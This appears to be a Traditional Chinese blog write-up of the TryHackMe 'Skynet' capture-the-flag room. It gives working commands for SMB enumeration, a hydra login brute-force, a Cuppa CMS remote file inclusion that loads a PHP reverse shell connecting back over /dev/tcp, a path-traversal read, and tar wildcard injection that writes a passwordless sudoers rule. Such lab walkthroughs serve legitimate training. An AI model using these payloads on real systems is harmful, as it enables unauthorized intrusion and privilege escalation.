> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Skynet writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-skynet-writeup-zh-tw/
- Published: 2025-09-19T09:40:47.000Z
- Updated: 2026-07-15T02:50:38.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, web

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: Skynet
- **難度**: Easy
- **目標**: 最終獲取 user.txt 和 root.txt，中間有很多有趣關卡
- **主題**: 終結者電影主題
- **連結**: https://tryhackme.com/room/skynet

## 發現服務

- **Port 22**: SSH
- **Port 80**: HTTP
- **Port 110**: POP3
- **Port 139/445**: SMB (Samba 4.3.11)
- **Port 143**: IMAP

## Step 1: SMB 枚舉

列舉 SMB shares，發現匿名存取：

```bash
smbclient -L //10.10.197.181
enum4linux 10.10.197.181

```

連接匿名 share：

```bash
smbclient //10.10.197.181/anonymous
smb: \> ls
smb: \> cd logs
smb: \> get log1.txt

```

重要發現：

- `log1.txt` \- 密碼清單
- `attention.txt` \- 提到使用者 milesdyson

## Step 2: Web 目錄枚舉

掃描網站目錄：

```bash
gobuster dir -u http://10.10.197.181/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
```

發現 `/squirrelmail` 郵件系統登入頁面

## Step 3: 破解 SquirrelMail

帳號使用使用者:milesdyson

使用找到的密碼清單log1.txt破解：

```bash
hydra -l milesdyson -P log1.txt 10.10.197.181 http-post-form \
"/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:incorrect"

```

成功登入後在郵件中發現 SMB 密碼：\`)s{A&2Z=F^n\_E.B\`\`

## Step 4: 存取個人 SMB Share

使用新密碼連接 milesdyson share：

```bash
smbclient //10.10.197.181/milesdyson -U milesdyson
# 密碼: )s{A&2Z=F^n_E.B`
smb: \> cd notes
smb: \> get important.txt

```

`important.txt` 內容揭露隱藏路徑：

```
1. Add features to beta CMS /45kra24zxs28v3yd

```

## Step 5: 發現 Cuppa CMS

遞迴掃描隱藏路徑：

```bash
gobuster dir -u http://10.10.197.181/45kra24zxs28v3yd/ \
-w /usr/share/wordlists/dirb/common.txt

```

發現 `/administrator` \- Cuppa CMS 登入介面

## Step 6: 利用 RFI 漏洞

Cuppa CMS 存在遠端檔案包含漏洞：

```bash
└─$ searchsploit cuppa

Cuppa CMS - /alertConfigField.php' Local/Remote File Inclusion php/webapps/25971.txt
```

準備簡單 PHP shell：

```bash
echo '<?php system("bash -c \"bash -i >& /dev/tcp/你的tryhackmeIP/4444 0>&1\""); ?>' > shell.php
python3 -m http.server 8000

```

設置監聽器並觸發：

```bash
nc -lvnp 4444
# 在瀏覽器觸發 RFI
http://10.10.197.181/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://你的IP:8000/shell.php

```

成功取得 www-data shell

## Step 7: 取得 User Flag

```bash
www-data@skynet:~$ cat /home/milesdyson/user.txt
<7ce5c2109aRedacted3600a9ae807>

```

## Step 8: 發現提權向量

檢查 cronjob：

```bash
www-data@skynet:~$ cat /etc/crontab
*/1 * * * * root /home/milesdyson/backups/backup.sh

```

檢查 backup.sh：

```bash
www-data@skynet:~$ cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

```

發現使用 `tar *` \- 存在 **Injection** 漏洞！

## Step 9: Tar Wildcard Injection 提權

利用 tar 參數注入，修改 sudoers：

```bash
cd /var/www/html

# 創建惡意腳本
echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
chmod +x shell.sh

# 創建會被解釋為 tar 參數的檔案
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"

```

等待一分鐘後（cronjob 執行）：

```bash
www-data@skynet:~$ sudo -l
# 確認有 NOPASSWD 權限
www-data@skynet:~$ sudo su
root@skynet:~# whoami
root

```

## Step 10: 取得 Root Flag

```bash
root@skynet:~# cat /root/root.txt
3f0372db24Redacted82cd6a949

```

## 技術要點

1. **SMB 資訊洩露**
  - Anonymous share 公開存取，洩露密碼清單
2. **服務鏈式攻擊**
  - SMB → SquirrelMail → Personal Share → 隱藏路徑
  - 每個服務都成為下一步的跳板
3. **Cuppa CMS RFI 漏洞**
  - 未過濾的 `urlConfig` 參數允許包含遠端檔案
  - 可直接執行 PHP 代碼取得 shell

## 經驗分享

### Tar Wildcard Injection 原理解釋

#### 問題所在：

1. 腳本使用 `tar cf backup.tgz *`
2. `*` 會被 shell 展開成**所有檔案名稱**
3. Tar 會把某些檔案名稱當作**參數**而非檔案！

#### 攻擊原理：

當我們創建名為 `--checkpoint=1` 的檔案時：

bash

```bash
touch "./--checkpoint=1"
touch "./--checkpoint-action=exec=sh shell.sh"
```

Shell 展開 `*` 後，命令變成：

bash

```bash
tar cf backup.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [其他檔案...]
```

Tar 把 `--checkpoint` 開頭的檔案名稱當作**命令參數**！

#### 參數說明：

- `--checkpoint=1`：每處理 1 個檔案就執行一次動作
- `--checkpoint-action=exec=sh shell.sh`：執行 `sh shell.sh` 命令

所以這個提權的方法是利用了 shell 展開 `*` 的特性 + tar 把檔名當參數的行為

### 關於Step 1:

這一步會很理所當然的檢查SMB，但是作者一開始其實是先去研究SquirrelMail的漏洞，因為SquirrelMail也有一個經典的LFI漏洞，但是試過之後發現失敗，所以才從SMB下手

### 關於Step 6:

獲得RFI之後，其實這一步就可以先拿user flag了，可以試試看，既然已經知道user flag的位置，看看要怎麼用RFI拿到旗子，下面查看解答

```bash
http://10.201.125.91/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../home/milesdyson/user.txt
```

### 關於Step 8:

提權的方法，有很多種，不過這邊分享一下，除了直接用linpeas.sh爆破之外，筆者見過的幾個方法，

1\. **SUID/SGID 二進制檔案**

```bash
# 尋找 SUID 檔案
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# 尋找 SGID 檔案  
find / -perm -2000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

# 同時找 SUID 和 SGID
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null

```

2\. Sudo 權限配置

```bash
# 檢查當前用戶的 sudo 權限
sudo -l

# 查看 sudoers 檔案（如果有權限）
cat /etc/sudoers
ls -la /etc/sudoers.d/

```

3\. **計劃任務（Cron Jobs），如本題**

```bash
# 系統層級
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*

```

4\. **可寫入的重要檔案/目錄**

5\. **核心與系統資訊**

6\. **敏感資訊搜尋**

```bash
# 設定檔中的密碼
# SSH 私鑰
# 資料庫設定
```